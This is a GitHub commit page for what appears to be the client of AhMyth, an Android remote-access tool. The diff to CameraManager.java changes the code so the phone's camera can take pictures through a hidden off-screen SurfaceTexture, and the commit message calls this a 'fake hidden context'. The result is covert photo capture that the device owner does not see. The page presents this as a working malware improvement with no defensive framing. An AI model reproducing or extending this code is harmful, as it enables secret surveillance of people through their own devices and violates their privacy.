Skip to content

Commit 5c99119

Browse files
authored
Change: Bugfix on camera capture on latest models
Tested on Galaxy Note 5(Nougat), LG GPadX 8.0(Nougat), Pixel(Oreo) Calling startPreview() requires a visible context, but SurfaceTexture makes a fake hidden context and make it working.
1 parent a5ed7b7 commit 5c99119

File tree

1 file changed

+12
-4
lines changed

1 file changed

+12
-4
lines changed

AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CameraManager.java

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,10 @@
55
import android.content.pm.PackageManager;
66
import android.graphics.Bitmap;
77
import android.graphics.BitmapFactory;
8+
import android.graphics.SurfaceTexture;
89
import android.hardware.Camera;
910
import android.hardware.Camera.PictureCallback;
10-
11+
import android.hardware.Camera.Parameters;
1112

1213
import org.json.JSONArray;
1314
import org.json.JSONException;
@@ -28,9 +29,16 @@ public CameraManager(Context context) {
2829

2930

3031
public void startUp(int cameraID){
31-
3232
camera = Camera.open(cameraID);
33-
camera.startPreview();
33+
Parameters parameters = camera.getParameters();
34+
camera.setParameters(parameters);
35+
try{
36+
camera.setPreviewTexture(new SurfaceTexture(0));
37+
camera.startPreview();
38+
} catch (Exception e) {
39+
e.printStackTrace();
40+
}
41+
3442
camera.takePicture(null, null, new PictureCallback() {
3543
@Override
3644
public void onPictureTaken(byte[] data, Camera camera) {
@@ -123,4 +131,4 @@ else if (info.facing == Camera.CameraInfo.CAMERA_FACING_BACK){
123131

124132

125133

126-
}
134+
}

0 commit comments

Comments
 (0)